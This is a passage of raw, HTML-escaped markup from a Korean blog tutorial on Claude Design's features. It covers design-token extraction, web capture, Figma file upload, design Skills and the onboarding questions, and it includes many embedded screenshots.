data-phocus=&quot;https://blog.kakaocdn.net/dn/bHfM1P/dJMcadaCYw2/PpeiyeQ0nczezgIP9KlkT0/img.png&quot; style=&quot;width: 43.5325%;&quot; data-origin-width=&quot;770&quot; data-origin-height=&quot;452&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;44.07&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHfM1P/dJMcadaCYw2/PpeiyeQ0nczezgIP9KlkT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHfM1P%2FdJMcadaCYw2%2FPpeiyeQ0nczezgIP9KlkT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;770&quot; height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;둘 다 Claude가 기존 코드에서 디자인 토큰과 컴포넌트를 자동 추출한다. &lt;br /&gt;Vibecoding 리뷰는 iOS 리포를 연결했을 때 &lt;i&gt;&quot;a prototype that matched the existing app's visual language with no additional prompting&quot;&lt;/i&gt; (추가 프롬프트 없이도 기존 앱의 시각 언어와 일치하는 프로토타입이 나왔다)이 출력됐다고 기록한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;⑤ 웹 캡처 도구&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OCYaX/dJMcab40y1h/HG0BM4mckwuKC1KDbAUBHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OCYaX/dJMcab40y1h/HG0BM4mckwuKC1KDbAUBHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OCYaX/dJMcab40y1h/HG0BM4mckwuKC1KDbAUBHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOCYaX%2FdJMcab40y1h%2FHG0BM4mckwuKC1KDbAUBHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;319&quot; height=&quot;189&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coAC3a/dJMcabKKC56/Ga3in8JVgnuv7MuoH18cX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coAC3a/dJMcabKKC56/Ga3in8JVgnuv7MuoH18cX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coAC3a/dJMcabKKC56/Ga3in8JVgnuv7MuoH18cX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoAC3a%2FdJMcabKKC56%2FGa3in8JVgnuv7MuoH18cX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;223&quot; height=&quot;184&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;웹사이트의 요소를 직접 가져올 수 있다. &lt;br /&gt;공식 발표 원문: &lt;i&gt;&quot;You can also use the web capture tool to grab elements directly from your website so prototypes look like the real product.&quot;&lt;/i&gt; (웹 캡처 도구로 실제 웹사이트에서 요소를 바로 가져와, 프로토타입이 실제 제품처럼 보이게 할 수 있다.)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;⑥ Figma 파일 (.fig) 업로드&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDqVlS/dJMb990sMfL/TJZK2wQ34w3EAEm8NsQKj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDqVlS/dJMb990sMfL/TJZK2wQ34w3EAEm8NsQKj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDqVlS/dJMb990sMfL/TJZK2wQ34w3EAEm8NsQKj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDqVlS%2FdJMb990sMfL%2FTJZK2wQ34w3EAEm8NsQKj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;314&quot; height=&quot;176&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;UI에 &lt;i&gt;&quot;Drag in a Figma file&quot;&lt;/i&gt; 버튼이 있고, 첨부 메뉴에는 &lt;i&gt;&quot;Upload .fig file&quot;&lt;/i&gt;로 표시된다. 버튼 옆 &lt;b&gt;?&lt;/b&gt;는 베타 표시가 아니라 사용 방법을 안내하는 도움말 버튼이다 &amp;mdash; 클릭하면 다음 절차가 표시된다 (UI 직접 확인):&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;Figma 웹 또는 데스크톱 앱에서 파일을 연다.&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;File &amp;rarr; Save local copy... (웹: main menu &amp;rarr; File)를 선택한다.&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;다운로드된 .fig 파일을 채팅 입력창에 드롭한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;도움말 원문: &lt;i&gt;&quot;The file is parsed locally in your browser and never uploaded.&quot;&lt;/i&gt; (파일은 브라우저에서 로컬로 파싱되며 서버에 업로드되지 않는다.) &amp;mdash; 개인정보 보호 관점에서 주목할 만한 특징이다. 공식 지원 문서에는 이 입력 방식이 별도로 기재되어 있지 않다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;⑦ 다른 프로젝트 참조 (Reference another project)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHKERJ/dJMcadaCYyJ/Z0mk3uX5FZmiuvMfXnIKM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHKERJ/dJMcadaCYyJ/Z0mk3uX5FZmiuvMfXnIKM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHKERJ/dJMcadaCYyJ/Z0mk3uX5FZmiuvMfXnIKM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHKERJ%2FdJMcadaCYyJ%2FZ0mk3uX5FZmiuvMfXnIKM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;298&quot; height=&quot;168&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;캔버스 첨부 메뉴에 &lt;i&gt;&quot;Reference another project&quot;&lt;/i&gt; 항목이 있다 (UI 직접 확인). 기존에 만든 Claude Design 프로젝트를 현재 작업의 컨텍스트로 활용하는 기능으로 보인다. 공식 지원 문서에는 기재되어 있지 않으므로 동작 방식은 직접 확인이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;⑧ Skills (디자인 모드 선택)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxUuFT/dJMcagecd8p/XwI87NWDAlkObZKlxWTbfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxUuFT/dJMcagecd8p/XwI87NWDAlkObZKlxWTbfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxUuFT/dJMcagecd8p/XwI87NWDAlkObZKlxWTbfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxUuFT%2FdJMcagecd8p%2FXwI87NWDAlkObZKlxWTbfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;248&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;1146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7y4Fy/dJMcaiwg0yb/xxxCSn1dLBTDk2scAMuzw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7y4Fy/dJMcaiwg0yb/xxxCSn1dLBTDk2scAMuzw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7y4Fy/dJMcaiwg0yb/xxxCSn1dLBTDk2scAMuzw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7y4Fy%2FdJMcaiwg0yb%2FxxxCSn1dLBTDk2scAMuzw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;351&quot; height=&quot;468&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;1146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&quot;Skills and design systems&quot;&lt;/i&gt;에서 Claude가 만들어낼 결과물의 종류를 지정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 말하는 &quot;Skills&quot;는 Anthropic 일반 Skills 기능(조직 확장)과는 별개 개념이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 8px 0 15px; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px; text-align: left; font-weight: 600;&quot;&gt;Skill&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px; text-align: left; font-weight: 600;&quot;&gt;UI 설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Animated video&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Timeline-based motion design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Interactive prototype&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Working app with real interactions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Make a deck&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Slide presentation in HTML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Make tweakable&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Add in-design tweak controls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Frontend design&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Aesthetic direction for designs outside an existing brand system&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Wireframe&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Explore many ideas with wireframes and storyboards&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;같은 패널에서 조직에 게시된 디자인 시스템도 선택할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;디자인 모드를 별도로 지정하지 않으면 Claude가 프롬프트 맥락을 보고 자동으로 판단한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;4.4. Claude의 온보딩 질문 (초기 프롬프트 직후)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트를 입력하면 Claude가 바로 생성을 시작하지 않고 먼저 설문을 제시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;간단한 예시&lt;/b&gt;: &quot;포트폴리오 랜딩 페이지 만들어줘&quot;라고 입력하면 Claude가 즉시 생성하는 대신, 목적&amp;middot;타겟 오디언스&amp;middot;비주얼 스타일을 먼저 묻는다. 텍스트 몇 줄로 답하면 된다. (아래에 실제 답변 화면 첨부 예정)&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;팁&lt;/b&gt;: 온보딩 질문에 답할 때 &quot;타겟 오디언스&quot;와 &quot;비주얼 에스테틱&quot; 항목에 구체적인 레퍼런스를 제공하면 초안 품질이 높아진다. &lt;br /&gt;예: 에스테틱 레퍼런스에 &quot;NY Times, serif headline, wide whitespace&quot; 입력. 질문 자체가 이미 토큰을 소비하므로 Pro 플랜은 이 단계부터 사용량을 의식한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 5 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 제일 기본적인 설정으로 시작 / 포트폴리오 랜딩 페이지 만들어줘 입력&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHjAZK/dJMcabYgwII/hNAf67B0xU9nojEO34haZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHjAZK/dJMcabYgwII/hNAf67B0xU9nojEO34haZ0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;950&quot; data-origin-width=&quot;648&quot; width=&quot;300&quot; height=&quot;440&quot; style=&quot;width: 48.1931%; margin-right: 10px;&quot; data-widthpercent=&quot;48.76&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHjAZK/dJMcabYgwII/hNAf67B0xU9nojEO34haZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHjAZK%2FdJMcabYgwII%2FhNAf67B0xU9nojEO34haZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;648&quot; height=&quot;950&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/44p28/dJMcagrIDwe/toQX1bDNFq5C5zizjzaQWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/44p28/dJMcagrIDwe/toQX1bDNFq5C5zizjzaQWK/img.png&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;1024&quot; data-is-animation=&quot;false&quot; width=&quot;251&quot; height=&quot;350&quot; style=&quot;width: 50.6441%;&quot; data-widthpercent=&quot;51.24&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/44p28/dJMcagrIDwe/toQX1bDNFq5C5zizjzaQWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F44p28%2FdJMcagrIDwe%2FtoQX1bDNFq5C5zizjzaQWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;734&quot; height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;- 설문조사를 마치면 디자인 설계를 시작한다.&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9GzqY/dJMcadhsVsE/E3oVqbkpixhkJnKcKmhqUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9GzqY/dJMcadhsVsE/E3oVqbkpixhkJnKcKmhqUk/img.png&quot; data-origin-width=&quot;1138&quot; data-origin-height=&quot;1642&quot; data-is-animation=&quot;false&quot; width=&quot;428&quot; height=&quot;618&quot; style=&quot;width: 51.3562%; margin-right: 10px;&quot; data-widthpercent=&quot;51.96&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9GzqY/dJMcadhsVsE/E3oVqbkpixhkJnKcKmhqUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9GzqY%2FdJMcadhsVsE%2FE3oVqbkpixhkJnKcKmhqUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1138&quot; height=&quot;1642&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zi5FH/dJMcagZxDGS/QhAuBpsic7nbJ4zwf2h6c0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zi5FH/dJMcagZxDGS/QhAuBpsic7nbJ4zwf2h6c0/img.png&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;1158&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.481%;&quot; data-widthpercent=&quot;48.04&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zi5FH/dJMcagZxDGS/QhAuBpsic7nbJ4zwf2h6c0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzi5FH%2FdJMcagZxDGS%2FQhAuBpsic7nbJ4zwf2h6c0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;- 요청 내용이 너무 부실하여 허접하지만 몇분 뒤 디자인이 생성 되긴 하였다.&lt;br /&gt;&amp;nbsp; &amp;nbsp;( 실제 나의 경우 충분한 내용 전달을 잘 하였을때에는 퀄리티가 당연히 높아 만족스러운 퀄리티 였다. )&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1824&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by8I97/dJMcac3UdPZ/kmBDBG7pm2UMWmQnuP9Svk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by8I97/dJMcac3UdPZ/kmBDBG7pm2UMWmQnuP9Svk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by8I97/dJMcac3UdPZ/kmBDBG7pm2UMWmQnuP9Svk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby8I97%2FdJMcac3UdPZ%2FkmBDBG7pm2UMWmQnuP9Svk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2644&quot; height=&quot;1824&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1824&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #888; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;아래는 실제 진행 흐름 전체 사례다 &amp;mdash; 개념만 파악했다면 다음 예시 내용은 건너뛰자.&lt;br /&gt;(실제 내가 디자인을 돌려본 전과정을 올리다보니 내용이 너무 길어지는것 같다 Skip하길 권장 드립니다.)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ex) 실제 사용 예시 - 내가 원하는 사이트 컨셉을 정리하여 텍스트 프롬프트 + 이미지, 스크린샷 전달하여 디자인 생성 요청&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 다음과 같이 프롬프트와 충분한 설명, 이미지 등을 작성하여 한방 프롬프트로 전달하여 테스트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( 상세한 디자인 설명 없이 얼마나 잘 작성하는지 확인, model은 opus 4.7에서 변경하지 않았다. )&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/octJp/dJMcaiJNqwd/mLutcj8usfp3WKeatkFdX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/octJp/dJMcaiJNqwd/mLutcj8usfp3WKeatkFdX0/img.png&quot; style=&quot;width: 37.5832%; margin-right: 10px;&quot; width=&quot;346&quot; height=&quot;685&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;1278&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;38.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/octJp/dJMcaiJNqwd/mLutcj8usfp3WKeatkFdX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoctJp%2FdJMcaiJNqwd%2FmLutcj8usfp3WKeatkFdX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;1278&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbMoQE/dJMb99MREZS/03jrtPEU7Okh7FAiPQJlk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbMoQE/dJMb99MREZS/03jrtPEU7Okh7FAiPQJlk0/img.png&quot; style=&quot;width: 61.254%;&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;1896&quot; data-is-animation=&quot;false&quot; 